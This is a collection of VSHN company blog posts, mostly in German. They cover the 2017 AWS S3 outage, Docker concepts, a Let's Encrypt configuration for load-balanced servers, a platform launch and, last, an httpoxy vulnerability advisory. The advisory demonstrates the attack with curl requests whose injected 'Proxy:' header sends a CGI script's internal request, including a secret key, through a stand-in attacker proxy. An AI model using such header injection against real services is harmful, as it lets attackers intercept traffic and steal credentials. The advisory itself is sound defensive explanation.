Am 23. und 24. Februar 2017 fand ein Modsecurity Workshop in Zürich statt. André Keller und Nicolas Bigler nutzten die Gelegenheit, ihr Fachwissen zu vertiefen.
Der Workshop wurde von Christian Folini durchgeführt. Der Kurs basierte auf seinem eigenen Tutorial. Er gehört, was das Thema Modsecurity anbelangt, zu den erfahrensten (mehr …)

Am 28.02 kurz nach 18:30 Schweizer Zeit ist der Simple Storage Service S3 von Amazon AWS an der US-Ostküste für knapp 3 Stunden ausgefallen. Ein kleiner Ausfall eines Services wäre an sich kein Problem, 3 Stunden Ausfall pro Jahr bedeuten auch dann noch eine Verfügbarkeit von über 99.96% und ist eine sehr gute Gesamtverfügbarkeit — besser als die unserer Kunden, welche Ihre Services selber hosten. In der Schweiz war der Ausfall kurz nach den Bürozeiten, in den USA war der Ausfall jedoch kurz vor dem Mittag und dadurch stark auch im Business spürbar.

Das Problem war, dass viele, darunter auch grosse prominente Webapplikationen, aus Kostengründen ihre Daten nicht redundant, also mehrfach in verschiedenen Regionen bei Amazon oder anderen Cloud Service Providern, gespeichert hatten. Dazu kam der Zufall gemäss Murphy dass die „us-east-1“ Region jeweils die erste, bereits ausgewählte, Option beim Erstellen eines neuen Services ist und vermutlich auch darum sehr viele Kunden von Amazon (und auch von VSHN) den Service aus dieser Region beziehen.
Bekannte Namen, die vom Ausfall betroffen waren: Docker Hub, Trello, Travis CI, GitHub.com und GitLab.com, Quora, Medium, Signal, Slack, Imgur, Twitch.tv, Razer, Adobes Cloud Services, Zendesk, Heroku, Coursera, Bitbucket, Autodesk Cloud Services, Twilio, Mailchimp, Citrix, Expedia, Flipboard, Salesforce, Giphy, Nest und ironischerweise, die Service-Status-Webseite von Amazon selbst, die erst eine gute Stunde nach dem Ausfall des Services angepasst werden konnte.
Die Situation normalisierte sich gegen 22:00 Uhr und ab ca. 23:00 Uhr waren auch die letzten Probleme behoben.
Wie kann man einen solchen Ausfall für seine Webapplikation verhindern?
Um auch das letzte Quäntchen Verfügbarkeit aus der Applikation zu holen, gibt es, wie immer in den Ingenieurwissenschaften, verschiedene Möglichkeiten, in aufsteigender Kostenreihenfolge:

1. Statische Assets die in S3 liegen, per Content Delivery Network (CDN) ausliefern: machen die Meisten vermutlich bereits. Das CDN speichert die bereits häufig angefragten Daten und kann so kurze Ausfälle des darunter liegenden Speichersystems (egal ob S3 oder ein anderes) überbrücken. Leider nützt das nichts für gerade neu erstellte oder hochgeladene Daten; immerhin läuft die Webseite mit den „alten Daten“ weiter. Die anderen Vorteile eines CDN (schnellere, weil nähere Auslieferung zum Nutzer, DDoS-Schutz, möglicherweise tiefere Bandbreiten/Traffic-Preise, etc.) gelten natürlich ebenfalls und macht für die meisten Seiten mit globalem Nutzerkreis Sinn.
2. Redundante Speicherung: Alle Schreib- und Löschoperationen (am besten mittels Queue) in zwei unterschiedliche Speicherservices ausführen, zumindest in unterschiedliche AWS-Regionen oder zu einem anderen Cloud Service Provider, der einen S3-kompatiblen Service anbietet. Beim Zugriff (am besten via CDN zur Zwischenspeicherung, siehe oben) probiert die Applikation wahlweise den einen oder anderen Speicher zu erreichen und liefert die Daten, egal von welchem Storagebackend, an das CDN weiter. Der Nachteil ist neben der zusätzlichen Applikationslogik, die implementiert und gewartet werden muss, natürlich die doppelten Kosten für die Speicherung an zwei Orten.
3. Ebenfalls sollte dann die Applikation selbst (und ihre anderen Backends wie Datenbanken etc.) an zwei Orten laufen und parallel aktiv-aktiv betrieben werden, um die Gesamtverfügbarkeit nicht zu beeinträchtigen. Auch dafür entstehen Kosten und die Komplexität des Load-balancing über zwei Regionen oder Cloud Service Provider ist nicht zu unterschätzen.

VSHN ist der Schweizer Experte für den sicheren Betrieb von Webapplikationen in den internationalen wie auch den Schweizer Cloud Service Providern. Wir beraten nicht nur, sondern helfen auch gerne dabei, solche Konzepte umzusetzen.

Nachtrag 3. März 2017:

Unterdessen wurde die offizielle Erklärung der Vorkommnisse veröffentlicht:
Die Ursache war ein manueller Fehler: beim routinemässigen Entfernen von alten Servern aus dem System hat sich um 18:37 Schweizer Zeit ein Amazon-Mitarbeiter vertippt und aus Versehen auch eine kritische Gruppe von Servern für den internen S3-Metadaten-Dienst und den S3-Allozier-Dienst gelöscht. Daten sind dabei keine verloren gegangen. Das Hochfahren des Metadaten-Dienstes und die Prüfung der Datenintegrität dauerte länger als geplant, ab 21:26 konnten die ersten Lese-Anfragen wieder abgearbeitet werden und ab 22:18 waren die Lesezugriffe komplett wiederhergestellt. Der S3-Allozier-Dienst, der für Schreibzugriffe benötigt wird, wurde anschliessend wieder hergestellt und war ab 22:54 wieder vollständig verfügbar.
Fehler passieren – an dieser Stelle ein Kompliment an AWS für die professionell verfasste und transparente Zusammenfassung der Ereignisse und der daraus gezogenen Massnahmen ! Diese sogenannten „Postmortems“ helfen uns allen aus diesen Erfahrungen zu lernen und uns als Industrie weiter zu entwickeln.

Kürzlich habe ich mit einem CTO eines bekannten Schweizer Software-Entwicklungs-Unternehmens gesprochen und natürlich ist das Thema DevOps, Continuous Deployment und das Verpacken eines Software-Release für das Deployment gefallen, für das auch das Software-Entwicklungs-Unternehmen bereits erste Erfahrungen mit Docker gesammelt hat. Zu meinem grossen Erstaunen hat mein Gesprächspartner gemeint er habe keinen Betriebspartner bzw. Hoster für Docker in der Schweiz gefunden. Darum möchten wir unser Angebot für Docker-Hosting in der Schweiz offiziell launchen!

Die verschiedenen Komponenten des Docker-Universums helfen dabei die standardisierten Container zu erstellen, kombinieren und zu betreiben.

Docker Engine

Die Docker Engine ist, was die meisten meinen, wenn sie von „Docker“ sprechen und besteht aus zwei Teilen:

1. Das Programm „docker“, welches vom Benutzer gesteuert wird.
2. Dem Docker-Dienst (Docker Daemon, dockerd) welches die Befehle von „docker“ im Hintergrund ausführt.

Die Engine ist damit der Kern der Technologie und das Zentrum des Docker-Ökosystems. Docker Engine kann aktuell auf Linux, macOS und Windows installiert werden, wobei die Container-Technologie selbst auf Linux basiert und macOS und Windows in den aktuellsten Versionen Linux mit den entsprechenden Bordmitteln virtualisieren. Für andere Betriebssysteme sowie für ältere Versionen von macOS und Windows gibt es jeweils die Möglichkeit, den Docker Daemon in einer virtuellen Linux-Maschine zu betreiben (zum Beispiel mit Virtualbox).
Die beiden Komponenten sprechen über eine standardisierte Schnittstelle miteinander. Dabei ist es unwichtig ob sie auf demselben Computer bzw. Server liegen oder über das Internet miteinander sprechen. Man muss das lokale „docker“-Programm einfach über die Umgebungsvariable $DOCKER_HOST entsprechend konfigurieren, wo es seinen Docker-Dienst finden soll. Standardmässig erwartet es den Docker-Dienst auf dem lokalen Unix-Socket /var/run/docker.sock, auf TCP-Port 2375 eines zu konfigurierenden Servers unverschlüsselt oder TCP-Port 2376 mit TLS verschlüsselt.

Docker Inc

Docker Inc ist die Firma hinter Docker, also der Hersteller der Software. Leider ist es im mündlichen Gespräch nicht immer einfach zu unterscheiden wenn man von „Docker macht …“ spricht.

Dockerfile

Das Dockerfile ist eine Textdatei, meistens zusammen mit dem Programmcode im Versionskontrollsystem, welche alle benötigten Befehle enthält um eine Umgebung zu erstellen in welcher der Programmcode laufen kann. Je nach Applikation und Programmiersprache installiert es also einen Applikationsserver, alle benötigten Pakete, Module und Bibliotheken. Meistens fängt man nicht mit einer „leeren“ Umgebung an, sondern nutzt eine von einer verlässlichen Firma gepflegte Basis (dazu gleich mehr). Auf diese Basis müssen dann nur noch die applikationsspezifischen Pakete, Module und Bibliotheken installiert. Alle dafür benötigten Schritte sind im Dockerfile aufgelistet und somit auch gleich für das ganze Team dokumentiert. Ausserdem lassen sie sich dadurch auch sehr einfach automatisieren.
Ebenfalls im Dockerfile steht, welche Dateien der Applikation in den Container übernommen werden sollen, wie der genaue Befehl für die Applikation lautet, auf welchem Port die Applikation dann erreichbar ist und in welchen Verzeichnissen innerhalb des Containers die Applikation ihre Benutzerdaten ablegt (die sogenannten Volumes).
Docker Inc veröffentlicht auch eine Dokumentation was man beim Erstellen des Dockerfiles alles beachten soll.
Ein grundlegendes Muster der Zwölf-Faktoren-Methode und der Container-Welt ist, dass die Konfiguration, also alles was sich zwischen zwei verschiedenen Deploys (Staging, Produktion, Entwicklungsumgebungen, usw.) ändert, in Umgebungsvariablen (Environment Variables) der Applikation übergeben werden sollen. Dazu gehören Ort und Zugangsdaten für Backend-Services (Datenbanken, Caches, S3-Storage, etc.), externe APIs, etc. Wenn die Applikation dies selbst nicht unterstützt, muss das Dockerfile ein Start-Skript erstellen welches dann zur Laufzeit die Daten in den Umgebungsvariablen der Applikation übergibt und sie startet.
Das Dockerfile ist also die Anleitung für die Build-Phase des „Build, Release, Run“-Patterns.

Docker Image

Ein Image ist das Ergebnis wenn ein Dockerfile ausgeführt wurde. Es enthält also die Applikation in einer bestimmten Version und alle für das Ausführen benötigten Komponenten, also ein Release. Das Docker Image kann von der Docker Engine ausgeführt werden und stellt dann die Applikation unter einem bestimmten Port (z.B. TCP Port 80 für HTTP) zur Verfügung. Nur die im Dockerfile definierten Volumes mit Benutzerdaten werden persistent gespeichert und stehen nach einem Neustart oder Update weiterhin zur Verfügung, der Rest des Container-Inhaltes wird verworfen gemäss dem Faktor des Einweggebrauches der Zwölf-Faktoren-Methode (12 Factor App).

Docker Registry

Die Registry speichert die fertigen Images und stellt sie zum Download auf den/die Server zur Verfügung, auf denen sie ausgeführt werden sollen. Docker Inc betreibt eine öffentliche Registry unter https://hub.docker.com/ (auch „Docker Hub“ genannt) welche auch für die Verteilung der öffentlichen Basis-Images verwendet wird. Die Verwendung des Docker Hubs ist kostenlos, dafür sind aber auch alle Daten öffentlich. Für Open Source also kein Problem. Für Applikationen die nicht öffentlich sein sollen braucht es also eine private Registry zur Software-Verteilung. Zum Glück ist eine private Registry kostenlos unter https://hub.docker.com/_/registry/ erhältlich – natürlich läuft sie ebenfalls in einem Docker-Container.
Ganz neu und aktuell noch im Beta-Stadium befindet sich der Docker-Store https://store.docker.com/, welcher wohl irgendwann den Docker Hub ablösen wird.

Docker Machine

Docker Machine ist ein Programm welches entweder auf dem lokalen Computer (mittels Virtualbox) oder in einer Cloud (Liste der unterstützten Cloud-Provider) einen virtuellen Server erstellt und startet um darauf Container auszuführen. Sehr praktisch wenn man Docker nicht nativ auf dem lokalen Computer ausführen kann (z.B. unter Windows) oder der/die Container mehr Ressourcen benötigt als lokal verfügbar sind. Die erstellten virtuellen Server sind aber nur für temporäre Experimente gedacht: sie werden weder überwacht, neu gestartet, mit Backup gesichert oder aktualisiert. Auch ist der virtuelle Server nur auf dem lokalen Computer für den Benutzer sinnvoll nutzbar der ihn erstellt hat: das Programm sichert die Kommunikation mit dem mini-Server mit Schlüsseln ab die nur auf dem lokalen Computer gespeichert werden und startet beim nächsten Verbinden alle Container die bisher liefen ab.

Docker Compose

Im einfachsten Fall besteht eine Applikation nur aus einem Prozess/Container, oft benötigt eine Applikation gemäss der Microservice-Architektur und dem Konzept der Nebenläufigkeit in der Zwölf-Faktoren-Methode einen weiteren Service als Backend, zum Beispiel eine Datenbank oder einen Cache, der wiederum in einem separaten Container läuft. Für viele Standardapplikationen gibt es bereits fertige Docker Images z.B. vom Docker Hub welche durch den Hersteller oder die Community gepflegt werden.
Docker Compose besteht wiederum aus dem Programm „docker-compose“ und der Konfigurationsdatei docker-compose.yml (normalerweise in der Versionsverwaltung der Applikation, neben dem Dockerfile, damit auch da alles am selben Ort ist) in welcher die Services, Volumes und Netzwerke definiert werden welche zusammen gestartet, miteinander kommunizieren und einen oder mehrere Services verfügbar machen sollen.
Die Services in der Konfiguration referenzieren im einfachsten Fall entweder die aktuelle Applikation gemäss Dockerfile oder aber „fertige Images“ (standardmässig vom Docker Hub) und welche Services mit welchem anderen Service (über die in den Dockerfiles definierten Ports) kommunizieren sollen, zum Beispiel die aktuelle Applikation mit dem Datenbank-Container. Ebenfalls müssen die Namen und Ports der benutzten Services als Konfiguration in Umgebungsvariablen der Applikationscontainer definiert werden, zum Beispiel DATENBANK=“mysql:3306″ wenn der Applikationscontainer den Ort der Datenbank in der Variable „$DATENBANK“ erwartet und der MySQL-Service im docker-compose.yml „mysql“ genannt wird und unter dem Port 3306 (MySQL-Standardport) verfügbar ist. Der Befehl „docker-compose up“ startet dann alle Services in der gemäss den Abhängigkeiten definierten Reihenfolge und ermöglicht den Container miteinander zu kommunizieren.

Docker Swarm

Ein Docker Swarm („Schwarm“, also Gruppe) besteht aus mehreren zusammengeschalteten Docker Engines (bzw. Docker-Diensten dockerd, auch Nodes genannt), welche gemeinsam unter „einer zentralen Docker API“ für den Benutzer bzw. das Programm „docker“ erreichbar ist. Dabei ist ein Node der „master“ der die Anfragen des Benutzers entgegennimmt, die Container auf den anderen Swarm Nodes startet und sich um die Kommunikation von/zu den Containern auf den verschiedenen Nodes kümmert.
Swarm ist eine relativ neue Komponente im Docker-Ökosystem und wurde erst Mitte 2016 veröffentlicht. Entsprechend ist der Funktionsumfang noch beschränkt: ein Swarm ist zum Beispiel noch nicht mandantenfähig, alle Services – egal von welchem Benutzer – müssen also eindeutige Namen haben und sind auch untereinander nicht abgeschottet. Entsprechend wird empfohlen für Testing und Produktion separate Swarms zu betreiben.

Vergleich mit Kubernetes

Kubernetes ist eine Alternative zu Docker Compose und Docker Swarm und unterstützt durch die längere Erfahrung z.B. Mandantenfähigkeit und wird gerade für grössere Umgebungen lieber verwendet, zum Beispiel für die Schweizer Container Plattform APPUiO. Um die Orchestrierung mehrerer Container mittels Docker Compose zu übernehmen gibt es das Programm Kompose, dazu werden wir später noch einen ausführlicheren Blogpost schreiben.

Weitere Informationen

Möchtest du weitere Informationen zu Docker erhalten oder eine Offerte anfordern? Bitte nimm Kontakt mit mir auf:

The Let’s Encrypt certificate authority was launched for production use in April 2016 and aims to make encrypted connections on the Internet ubiquitous. Historically certificate authorities have demanded payment for issuing X.509 certificates and the issuing/renewal process was largely manual.
Let’s Encrypt issues domain-validated certificates free of charge. Other validation types requiring human interaction, such as Organization Validation or Extended Validation (most browsers show part of the address bar in green for these), are not available. The validation process is fully automated and, once configured, does not need manual intervention for certificate renewal. Let’s Encrypt issues certificates valid for 90 days and most client programs renew certificates a couple of weeks before they expire (usually after 60 days).
In this post we describe how to configure load-balanced services such that they can make use of the Let’s Encrypt certificate authority. The assumption is that the reader is familiar with how Let’s Encrypt works. acmetool is used as the Let’s Encrypt client.

Implementation overview

We’re going to implement Let’s Encrypt certificates for a system with three machines acting as a load-balancing frontend for a service backend. The service’s entry point is the domain name svc.example.com and the servers use the IPv6 address range 2001:db8::/32. IPv4 is left as an exercise for the reader. The frontend machines run HAProxy for load-balancing and keepalived to host virtual IP addresses. nginx is used to serve challenge responses for domain validations and to redirect plain-text requests to HTTPS (the service is only available over TLS).
The network looks as follows:

There are as many virtual IP addresses as there are load balancers. This way everyday traffic is still spread over across the load balancers even when there is no outage. The DNS record for the service looks as follows:

svc.example.com.  3600  IN  AAAA  2001:db8::1
svc.example.com.  3600  IN  AAAA  2001:db8::2
svc.example.com.  3600  IN  AAAA  2001:db8::3

The main challenge in such a setup is that the service can’t possibly know to which load balancer the Let’s Encrypt validation process connects in order to validate the domain (svc.example.com). Not only is there round-robin DNS, but the other load balancers may suffer an outage or be under maintenance. Hugo Landau’s deployment guide for IRC networks was a significant inspiration during the development of this configuration and proposes a centralized service to which the individual machines submit their challenge responses and where they redirect incoming requests. In a setup where all machines are controlled by one party that can easily be avoided while also avoiding any cross-machine state. In our configuration the load balancers are stateless in regards to the Let’s Encrypt validation. Every load balancer has its own key/certificate combination and is responsible for its renewal.

Example certificate renewal

1. LB1 determines that it needs to request a new certificate and sends a request to the Let’s Encrypt certificate authority.
2. As part of the ACME conversation the CA responds with a randomly generated token and a challenge response the server must make available at the URL . acmetool writes the response to /var/run/acme/acme-challenge/TOKEN and conducts a self-test.
3. Let CA know that the challenge is available.
4. CA resolves the DNS record svc.example.com and finds the IP addresses 2001:db8::1, 2001:db8::2 and 2001:db8::3 in random order. It connects to the first address. The address, say 2001:db8::2, is currently hosted on LB0. The request GET /.well-known/acme-challenge/TOKEN is sent.
5. LB0 receives the request and finds that it must act as a reverse proxy with 2001:db8::f001, 2001:db8::f002 and 2001:db8::f003 being the upstream servers. In this example it first connects to itself, to LB0, and issues a request for /.well-known/acme-challenge/TOKEN.
6. The token is not found in /var/run/acme/acme-challenge/ on LB0 and an HTTP/1.1 404 error is returned. The next upstream server must be tried.
7. LB1 is now sent the same request and finds the response in /var/run/acme/acme-challenge/TOKEN.
8. The challenge response is returned from LB1 to LB0 with a status code of HTTP/1.1 200, indicating success.
9. LB0 forwards the response to the Let’s Encrypt CA. The CA verifies the response and, if successful, proceeds to issue a certificate.
10. The certificate is made available for download. acmetool retrieves the certificate, stores it permanently in its state directory and invokes the relevant hooks. Services are reloaded to make use of the newly issued certificate.

Keepalived

In case of an outage or maintenance the remaining load balancer or balancers take over the IP addresses of the balancer not in service, ensuring users are not affected. To this effect the priorities per IP address shifted by one per node. The state is set to BACKUP for all IP addresses as there’s no concept of a real primary machine–they’re all equal. Additionally setting the state to BACKUP instead of MASTER prevents an IP address conflict when a machine comes online (another machine with a lower priority is still serving the IP address until synchronization takes place).
Keepalived configuration on LB0:

vrrp_instance master1 {
  interface eth0
  state BACKUP
  # LB0: 101, LB1: 102, LB2: 103
  priority 101
  authentication { … }
  virtual_ipaddress {
    2001:db8::1/32 dev eth0
  }
}
vrrp_instance master2 {
  interface eth0
  state BACKUP
  # LB0: 102, LB1: 103, LB2: 101
  priority 102
  authentication { … }
  virtual_ipaddress {
    2001:db8::2/32 dev eth0
  }
}
vrrp_instance master3 {
  interface eth0
  state BACKUP
  # LB0: 103, LB1: 101, LB2: 102
  priority 103
  authentication { … }
  virtual_ipaddress {
    2001:db8::3/32 dev eth0
  }
}

HAProxy

HAProxy is configured to only provide HTTP over TLS (HTTPS) because plain-text HTTP is served by Nginx. Communication with the backend uses TLS too, but depending on the network layout and/or service requirements plain-text HTTP may be acceptable. See the HAProxy documentation for available options.

frontend fe-service
  bind 2001:db8::1:443 ssl crt /etc/ssl/… ciphers …
  bind 2001:db8::2:443 ssl crt /etc/ssl/… ciphers …
  bind 2001:db8::3:443 ssl crt /etc/ssl/… ciphers …
  default_backend be-service
  mode http
  option httplog
  option forwardfor
backend be-service
  balance roundrobin
  cookie SERVERID insert indirect nocache
  option httpchk GET /status HTTP/1.0
  option httplog
  server be1 2001:db8::b001:443 check ssl verify ca-file /…/ca.pem cookie be1
  …
  server be20 2001:db8::b020:443 check ssl verify ca-file /…/ca.pem cookie be20

Nginx

acmetool is configured to use the webroot mode and to store challenge responses in /var/run/acme/acme-challenge/ (the default path). Define a separate virtual host in Nginx to serve challenge responses on a dedicated port. This port serves only information also available via port 80, hence no further protection is needed.

server {
  listen *:31080;
  server_name svc.example.com;
  location /.well-known/acme-challenge/ {
    alias /var/run/acme/acme-challenge/;
    default_type text/plain;
  }
  location / {
    deny all;
    root /usr/share/nginx/html/nonexist;
    autoindex off;
  }
}

Configure an upstream group with all load balancers (including the local machine):

upstream acme-backend {
  server [2001:db8::f001]:31080 fail_timeout=5s;
  server [2001:db8::f002]:31080 fail_timeout=5s;
  server [2001:db8::f003]:31080 fail_timeout=5s;
}

The main virtual host on port 80 redirects all requests to HTTP over TLS except those for ACME challenge responses (/.well-known/acme-challenge/…). ACME challenge responses are handled by a reverse proxy configuration attempting to fetch the file from all load balancers until produces an HTTP 200 response or all upstream servers (the balancers) have been tried. Connections to unreachable upstream servers time out after 5 seconds.

server {
  listen *:80;
  server_name svc.example.com;
  location /.well-known/acme-challenge/ {
    proxy_next_upstream error timeout invalid_header http_500 http_502
      http_503 http_504 http_403 http_404;
    proxy_pass            http://acme-backend;
    proxy_read_timeout    5s;
    proxy_connect_timeout 5s;
    proxy_redirect        off;
    proxy_set_header      Host $server_name;
  }
  location / {
    return 301 https://$host$request_uri;
  }
}

Test requests

Once everything is up and running it is possible to request files in /var/run/acme/acme-challenge/ on any load balancer from all balancers.
To test this a text file is written to /var/run/acme/acme-challenge/:

root@lb0 $ echo Hello World | tee /var/run/acme/acme-challenge/lb0
Hello World

lb0 is a unique, per-host name used for the test without special meaning. Retrieve the content via another machine, e.g. LB2. On LB2 the request is internally retried on all load balancers, but the proxy request will only return a successful status code and a response body on LB0.

user@local $ curl 'http://[2001:db8::f003]/.well-known/acme-challenge/lb0'
Hello World

A file not existing on any of the machines will produce an error:

user@local $ curl 'http://[2001:db8::f003]/.well-known/acme-challenge/foobar'
…
<head><title>404 Not Found</title></head>
…

Let’s Encrypt will now be able to verify the service domain, svc.example.com. When one of the load balancers needs a new certificate a request is issued to Let’s Encrypt and the validation takes place via any of the balancers and the internal reverse proxy configuration.

acmetool

Configuring acmetool is outside the scope of this document. However, a couple of hints:

• Use the haproxy hook included with acmetool to install newly received certificates. Configure HAProxy to use /var/lib/acme/live/$domain/haproxy for key and certificate.
• In scenarios where plain-text HTTP and HTTP over TLS are handled by the same service (e.g. Apache or Nginx) there is a chicken-or-egg problem where the service can’t be started due to the lack of a certificate. We solved this by first inserting a self-signed certificate in order to start the service. Once a signed certificate is received from Let’s Encrypt the service is reloaded.

We have engineered a Puppet module for acmetool and intend to release it at a later point in time.

VSHN AG

VSHN AG offers system engineering and configuration management services from their office in Zurich, Switzerland.

Die Schweizer Container Plattform “APPUiO” geht mit drei Angeboten an den Start. Neben der Public PaaS wird die Plattform auch als private Cloud betrieben oder in die Infrastruktur der Kunden integriert. APPUiO basiert auf modernen Open Source Konzepten wie Docker und Kubernetes und wird in ISO-zertifizierten und FINMA-auditierten Rechenzentren in der Schweiz betrieben.

Nach einer dreimonatigen Betaphase steht APPUiO ab heute allen Entwicklern und Firmen zur Verfügung. Mit APPUiO lassen sich Applikationen einfach und schnell entwickeln oder Container Workload betreiben. Hinter APPUiO stehen mit Puzzle ITC und VSHN zwei DevOps Experten, welche ihre Kunden bei der erfolgreichen Umsetzung von Konzepten wie Continuous Integration und -Deployment unterstützen.

Auf in Richtung DevOps

Auf der Basis bewährter Open Source Konzepte wie Docker und Kubernetes lassen sich auf APPUiO Applikationen mit standardisierten Komponenten entwickeln und skalierbar betreiben. Mit der Plattform werden IT-Prozesse automatisiert und die Bereitstellung von IT-Services gestrafft. Applikationen können dabei sowohl in der Public Cloud, intern oder auch in einer hybriden Cloud betrieben werden. Die Anwendung der Docker-Konzepte eröffnet neue Aussichten für die Entwicklung und den Betrieb in Richtung DevOps.

Start mit Tech Labs

Interessierte können in kostenlosen Tech Labs erste Erfahrungen mit der Plattform sammeln. Dabei lernen sie Hands-on die wichtigsten Schritte, wie eine Applikation in die Cloud gebracht wird und wie Container auf einer PaaS deployed und betrieben werden können. Wer sich bis Ende November für die Plattform registriert, kommt zudem in den Genuss einer Promo-Aktion.

Über Puzzle ITC GmbH:

Puzzle ITC realisiert individuelle Software- und Systemtechnik-Projekte basierend auf offenen Technologien und Standards. Seit der Gründung vor 16 Jahren wächst das Unternehmen – auch Dank der zunehmenden Bedeutung von Open Source Software – kontinuierlich und beschäftigt heute über 90 Mitarbeitende. Puzzle ITC verfügt neben dem Hauptsitz in Bern über eine Niederlassung in Zürich. Mit “We Are Cube3“ besitzt Puzzle ein eigenes User Experience Studio als optimale Schnittstelle zwischen Entwickler, Designer und Benutzer.
Zu den Kunden von Puzzle ITC gehören Unternehmen aus dem öffentlichen Verkehr (SBB, BLS, Siemens, PostAuto), der Bundesverwaltung (Bundesamt für Sport, Führungsunterstützungsbasis VBS, Nationale Alarmzentrale, Institut für Geistiges Eigentum, Schweizerisches Bundesarchiv, Schweizerische Bundeskanzlei, swisstopo), der Telekommunikation, Versicherungen (Die Mobiliar, Swiss Re), Banken, Logistik (Swisslog), Unternehmen aus der Industrie sowie zahlreiche KMU. Puzzle ist seit Februar 2013 Red Hat Premier Partner.

Über VSHN AG:

VSHN AG – The DevOps Company – betreibt Betriebssysteme und Applikationen cloud-agnostisch nach dem DevOps-Ansatz. Als erfolgsverwöhntes StartUp glauben und erleben wir jeden Tag, dass unsere Kunden durch den hohen Automatisierungsgrad wesentliche Mehrwerte erhalten.
VSHN AG, mit Büros direkt am Zürcher Hauptbahnhof, beschäftigt heute 17 Mitarbeitende und ist in privater Hand gehalten.
Unsere Kunden – AmazeeLabs, Cinerent, FabWare, Gbanga, GrossStadtJagd, Sherpany, SIX-Group, Starticket und viele mehr – lassen ihre Anwendungen, Daten und damit gleichzeitig Vertrauen deshalb durch uns halten und betreiben, weil wir dank unseren hohen Sicherheits-Anforderungen und den ISO 27001-konformen und FINMA-auditierten Prozessen ihre Integrität garantieren können.

Medienkontakt:

André Kunz
Chief Communications Officer
Eigerplatz 4
3007 Bern
www.puzzle.ch
Mobile: +41 76 576 79 58
E-Mail: kunz@puzzle.ch

Wir bei VSHN bauen Deployment Pipelines für und zusammen mit unseren Kunden. Ganz gemäss dem Agile Manifesto sind Menschen wichtiger als Tools. Darum kommen je nach Arbeitsprozess und Technologie des Kunden entsprechend angepasste Tools zum Einsatz. (mehr …)

Am 18. Juli 2016 wurde eine Gruppe von Sicherheitslücken namens httpoxy veröffentlicht. Wir haben Auswirkungen auf unsere eigene Infrastruktur sowie die unserer Kunden bewertet und sind derzeit dabei, Gegenmassnahmen zu ergreifen.

Was ist httpoxy?

httpoxy ist eine Mehrzahl von verwandten Sicherheitslücken, die via Common Gateway Interface (CGI) aufgerufene oder in CGI-ähnlichen Umgebungen laufende Programme betreffen. Jede Kopfzeile einer HTTP-Anfrage (engl. «header») wird vor dem Programmaufruf in eine Umgebungsvariable mit dem Namensschema HTTP_${Name-in-Grossbuchstaben}gespeichert. Aus User-Agent: wird beispielsweise HTTP_USER_AGENT. httpoxy betrifft die Proxy:-Kopfzeile, die dann in HTTP_PROXY abgelegt wird.
Die Sicherheitslücke rührt daher, dass die Standardvariable zur Festlegung eines HTTP-Proxies unter Unix-Systemen http_proxy heisst. Proxies für andere Protokolle werden in nach dem gleichen Schema benannten Variablen übergeben. So definiert ftp_proxy den Proxy für das File Transfer Protocol (FTP) und gopher_proxy für Gopher.

Unix, Windows und die Unterscheidung von Gross- und Kleinschreibung

Der grösste Teil der VSHN-Infrastruktur und unserer Kunden laufen mit Unix-kompatiblen Systemen, vorallem Linux. Diese Systeme unterscheiden bei Umgebungsvariablen bzw. deren Namen zwischen Gross- und Kleinschreibung. Andere Systeme, darunter Microsoft Windows®, tun dies nicht.

$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower

Leider halten sich nicht alle Programme und Bibliotheken an diese plattform-spezifische Konvention. Die Python-Bibliothek requests beispielsweise liest auch auf Unix-Systemen einen Proxy aus HTTP_PROXY, obwohl die Standardvariable http_proxy heisst:

$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("https://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]

Demzufolge können interne Abfragen einer Webseite umgeleitet werden, wenn durch externe Faktoren die HTTP_PROXY-Variable kontrolliert werden kann, wie dies durch httpoxy beschrieben wird.

$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]

Angenommen, die URL wird durch via CGI, FastCGI oder eine ähnliche Technologie aufgerufenen Code behandelt, so wird dieser eine Umgebungsvariable namens HTTP_PROXY mit dem Wert erhalten. Interne Abfragen werden dann über ebendiesen Proxy geleitet, wenn die verwendeten Bibliotheken verwundbar sind.
Die httpoxy-Webseite listet weitere Beispiele und sog. CVEs. Mit grosser Wahrscheinlichkeit werden in den kommenden Stunden, Tagen und Wochen weitere gefunden werden.

Demonstration aus der Praxis

Man nehme ein herkömmliches CGI-Skript:

#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
  print(requests.get(url).text)
except Exception as err:
  print("Error: {}".format(err))

Angenommen eine Angreiferin kontrolliert einen HTTP-Proxy mit der IP-Adresse 192.0.2.33 und Port 3128 (der Standardport des Proxy-Servers Squid) macht eine HTTP-Anfrage wie folgend:

curl -H 'Proxy: ' -v

Die resultierende interne Abfrage wird durch den von der Angreiferin kontrollierten Proxy geleitet. Ein Auszug aus den Logdateien des Proxy-Servers:

TCP_MISS/504 1617 GET  - DIRECT/backend.example.com text/html

In diesem Fall ist die Beispiel-URL ungültig und der Proxy liefert eine Fehlermeldung zurück:

$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]

In der Realität könnte der Proxy den in der URL enthaltenen Schlüssel speichern und hätte die vollständige Kontrolle über die Antwort.

Schadensminderung

Es wird eine Weile dauern, bis alle Applikationen und Bibliotheken aktualisiert und diese verbesserten Versionen in den Produktiveinsatz gebracht wurden. Bis dahin sollten HTTP-Server sämtliche Proxy-Kopfzeilen entfernen. Dies sollte keinen Einfluss auf die Funktion von Webseiten oder Applikationen haben, denn Proxy ist weder von der IETF definiert noch im IANA-Verzeichnis für Nachrichtenkopfzeilen gelistet, also nicht standardisiert. Seit mindestens 1996 bis zur Aufhebung der Empfehlung mit RFC 6648 im Jahr 2012 mussten eigene Kopfzeilen mit einem X--Präfix versehen sein.
